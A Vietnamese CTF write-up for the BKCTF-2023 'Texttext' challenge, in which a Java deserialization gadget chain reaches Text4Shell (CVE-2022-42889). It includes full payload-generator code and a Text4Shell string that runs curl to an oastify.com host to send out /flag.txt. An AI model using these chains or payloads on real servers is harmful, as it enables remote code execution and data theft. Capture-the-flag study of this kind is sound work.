BKCTF-2023 Ctf Writeup - Texttext - Java deser exploit Text4Shell

theme

Preface

Tuần vừa rồi mình có tham gia giải BKCTF-2023 ở bảng offline, thành tích team thì cũng không có gì nổi bật nhưng trong giải mình có giải được một bài cũng khá hay dù không quá khó là bài Texttext, khi nhận giải được yêu cầu viết writeup nên yup, đây chính là nó.

Overview

Challenge cho source-code, các bạn có thể tải tại: https://drive.google.com/file/d/1onNxUHArYn3KTR3YJ8bKPykSDDm7kkMG/view?usp=drive_link

Sau khi tải về được 1 file là textext.rar, giải nén ra gồm Dockerfile và folder challenge chứa source java tomcat.

Dockerfile

FROM tomcat:9.0.70-jre8

RUN rm -rf /usr/local/tomcat/webapps/ROOT/
COPY flag.txt /flag.txt
COPY challenge/text.war /usr/local/tomcat/webapps/text.war
COPY config/tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml

RUN sed -i 's|8080|1337|g' /usr/local/tomcat/conf/server.xml

CMD ["catalina.sh", "run"]

EXPOSE 1337

File docker này khi build còn thiếu vài file như flag.txt, tomcat-users.xml ta có thể tự thêm vào là build được.

Review source-code

Giải nén file text.war thì được source cũng khá đơn giản sau: text.war

Ở đây webapp chạy jdk8u202, có 2 lib đáng chú ý là commons-lang3-3.11.jarcommons-text-1.9.jar

com.text.controller.PlayerController:

package com.text.controller;

/* import .... */

@WebServlet(
    urlPatterns = {"/get-name"}
)
public class PlayerController extends HttpServlet implements Serializable {
    public PlayerController() {
    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.setContentType("text/html");
        PrintWriter out = resp.getWriter();
        String player = req.getParameter("player");

        try {
            byte[] data = Base64.getDecoder().decode(player);
            InputStream is = new ByteArrayInputStream(data);
            ObjectInputStream ois = new ObjectInputStream(is);
            Object obj = ois.readObject();
            ois.close();
            Player user = (Player)obj;
            out.println("<h1> Hello: " + user.getName() + " !</h1>");
        } catch (Exception var10) {
            out.println("<h1> ????????? </h1>");
        }

    }
}

PlayerController nhận deserialize arbitrary object qua tham số player chứa string được base64 encode tại route /text/get-name, object này sau đó được ép kiểu về class Player và gọi đến Player#getName() để in thông báo Hello.

Class com.text.controller.Player cũng khá hay ho với method đáng chú ý là toString():

package com.text.controller;

import java.io.Serializable;
import org.apache.commons.text.StringSubstitutor;

public class Player implements Serializable {
    private String name = "player";
    private boolean isAdmin;

    public Player() {
    }

    public String getName() {
        return this.name;
    }

    public boolean isAdmin() {
        return this.isAdmin;
    }

    public String toString() {
        String output = "";
        if (this.isAdmin()) {
            try {
                StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
                output = stringSubstitutor.replace(this.name);
            } catch (Exception var3) {
                output = "???????";
            }
        }

        return "Hello" + output + "!";
    }
}

Chú ý method: StringSubstitutor.createInterpolator()#replace(this.name)

Làm vài đường google đơn giản mình tìm được CVE-2022-42889 hay Text4Shell khá nổi từ năm trước thuộc lib commons-text vulnerable từ version 1.5 đến 1.9 (fix từ 1.10).

Text4Shell có thể dẫn đến RCE nếu người dùng có thể truyền input vào một trong các method như StringSubstitutor.replace() hay StringSubstitutor.replaceIn(), method này sẽ thực hiện lookup và evaluate script từ input (nghe khá giống Log4Shell nhưng không phổ biến bằng do rất ít trường hợp thực tế sử dụng StringSubstitutor như là logger của log4j cũng như phương thức khai thác Text4Shell đơn giản hơn nhiều).

Hướng đi khá rõ rồi, deser kiểu gì để gọi đến được method Player#toString nhằm exploit CVE-2022-42889.

CVE-2022-42889 - RCE in Apache Commons Text

Phương thức khai thác như trong advisory của Alvaro Munoz khá rõ ràng rồi nhưng mình vẫn sẽ debug lại để hiểu chain hoạt động của CVE này.

Đầu tiên, gọi StringSubstitutor#replace(): StringSubstitutor

Phần source sẽ đi qua StringSubstitutor#substitute(): substitute

Method này sẽ tìm trong chuỗi source có tồn tại đoạn expression ${ ... } bằng cách index đoạn có prefix ${ và suffix }: source

Sau một hồi lặp thì thấy được varname là giá trị trong expression ${ ... }: varname

Và đi vào StringSubstitutor#resolveVariable(): resolveVariable

Rồi thực hiện InterpolatorStringLookup#lookup(): lookup

Tại đây sẽ lấy ra prefixname có giá trị lần lượt là scriptjavascript:java.lang.Runtime.getRuntime().exec('calc')

sau đó get loại lookup function trong stringLookupmap được lấy theo prefix, ta có các fields ứng với lookup function sau: stringLookupmap

ở đây thì method scriptStringLookup() về sau có thể dẫn đến RCE khi thực hiện lookup.

ScriptStringLookup#lookup(): ScriptStringLookup

lấy engineNamescript qua seperator là SPLIT_STR hay dấu :. Với engine là javascript, scriptEngine sẽ là NashornScriptEngine:

Cuối cùng với NashornScriptEngine#eval() như dòng 35, script sẽ được compile và evaluate java code: NashornScriptEngine

Full call stack:

evalImpl:451, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
lookup:86, ScriptStringLookup (org.apache.commons.text.lookup)
lookup:135, InterpolatorStringLookup (org.apache.commons.text.lookup)
resolveVariable:1067, StringSubstitutor (org.apache.commons.text)
substitute:1433, StringSubstitutor (org.apache.commons.text)
substitute:1308, StringSubstitutor (org.apache.commons.text)
replace:816, StringSubstitutor (org.apache.commons.text)
main:11, TestMe (org.example)

Player#toString

Sau khi tham khảo solution của team khác mình mới nhận ra solution của mình rối rắm hơn rất nhiều, các bạn có thể tham khảo solution đơn giản hơn sử dụng BadAttributeValueExpException tại đây

Ý tưởng của mình là tìm chain java nào đã có sẵn mà sử dụng lib commons-lang rồi modify lại để gọi được Object#toString thôi. Tra internet mãi thì không thấy, mình dùng jd-gui decompile lib commons-lang3-3.11.jar để tự tìm method có khả năng gọi được Object#toString mà nằm trong các chain phổ biến đã biết.

Tìm từ đầu tới đuôi thì thấy org.apache.commons.lang3.compare.ObjectToStringComparator#compare() là ngon ăn khi method này gọi Object#toString() khi thực hiện compare 2 objects. Method compare() này mình cũng thấy quen quen, không biết gặp ở đâu rồi. ObjectToStringComparator

Tìm cách để có chain gọi được đến ObjectToStringComparator#compare() mình tìm được blog này: https://paper.seebug.org/1839/

Blog này phân tích lại lỗ hổng Apache Shiro deserialization khi dùng chain CommonsBeanutils1Shiro, mình nhặt được script genPayload sau:

package summersec.shirodemo.Payload;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

// ... truncated

public byte[] getPayload(byte[] clazzBytes) throws Exception {
    TemplatesImpl obj = new TemplatesImpl();
    setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
    setFieldValue(obj, "_name", "HelloTemplatesImpl");
    setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

    AttrNSImpl attrNS1 = new AttrNSImpl(new CoreDocumentImpl(),"1","1","1");

    final BeanComparator comparator = new BeanComparator(null, new AttrCompare());
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(attrNS1);
    queue.add(attrNS1);

    setFieldValue(comparator, "property", "outputProperties");
    setFieldValue(queue, "queue", new Object[]{obj, obj});

    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(queue);
    oos.close();

    return barr.toByteArray();
}

Chain gọi đến Object#compare():

PriorityQueue.readObject()
    PriorityQueue.heapify()
        PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
                BeanComparator.compare()

Class BeanComparator nằm trong lib commons-beanutils không có trong classpath trong challenge này nên không thể sử dụng. Tại đây mình chỉ việc thay BeanComparator thành ObjectToStringComparator trong commons-lang là xong :)

Full script test/gen payload của mình: Main.java

import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import com.text.controller.Player;
import org.apache.commons.lang3.compare.ObjectToStringComparator;
import static ysoserial.payloads.util.Reflections.setFieldValue;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.PriorityQueue;


public class Main {

    private static void deserMe(String player) { // testing purpose
        try {
            byte[] data = Base64.getDecoder().decode(player);
            InputStream is = new ByteArrayInputStream(data);
            ObjectInputStream ois = new ObjectInputStream(is);
            Object obj = ois.readObject();
            ois.close();
            Player user = (Player)obj;
            System.out.println("<h1> Hello: " + user.getName() + " !</h1>");
        } catch (Exception var10) {
            System.out.println("<h1> ????????? </h1>");
        }
    }

    public static void main(String[] args) {
        try {
            String name = "${script:js:new java.lang.ProcessBuilder(\"curl\",\"r1t8ync67yj303id7vmfs35wyn4gs8gx.oastify.com\",\"-d\",\"@/flag.txt\").start()}";

            // dùng java reflection để khởi tạo Player object, set các private fields
            Class<?> clazz = Class.forName("com.text.controller.Player");
            Object obj = clazz.newInstance();
            Field f1 = obj.getClass().getDeclaredField("name");
            f1.setAccessible(true);
            f1.set(obj, name);
            Field f2 = obj.getClass().getDeclaredField("isAdmin");
            f2.setAccessible(true);
            f2.set(obj, true);

            // build gadget chain gọi đến ObjectToStringComparator#compare()
            AttrNSImpl attrNS1 = new AttrNSImpl(new CoreDocumentImpl(),"1","1","1");
            final ObjectToStringComparator comparator = new  ObjectToStringComparator();
            final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
            // stub data for replacement later
            queue.add(attrNS1);
            queue.add(attrNS1);

            setFieldValue(queue, "queue", new Object[]{obj, obj}); // Player#toString

            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(queue);
            oos.close();

            byte[] bytes = barr.toByteArray();
            String a =  Base64.getEncoder().encodeToString(bytes);
            String b = URLEncoder.encode(a, StandardCharsets.UTF_8.toString());
            System.out.println(b);

            // deserMe(a);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Gửi request:

GET /text/get-name?player=<serialized_string> HTTP/1.1
Host: 18.141.143.171:30098

Hihi: flag

BadAttributeValueExpException solution

Player player = new Player();
Field isAdmin = Player.class.getDeclaredField("isAdmin");
isAdmin.setAccessible(true);
isAdmin.setBoolean(player, true);
Field name = Player.class.getDeclaredField("name");
name.setAccessible(true);
name.set(player, "${script:javascript:java.lang.Runtime.getRuntime().exec(['/bin/bash', '-c', 'touch /tmp/zzzzz'])}");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, player);

BadAttributeValueExpException được sử dụng trong 1 chain rất phổ biến là CommonsCollection5 để gọi đến TiedMapEntry#toString(), mình lâu không mò lại deser cũng quên luôn chain này, nhớ ra từ sớm chắc ngon ăn hơn rồi (-0-).

note_vnpt

refs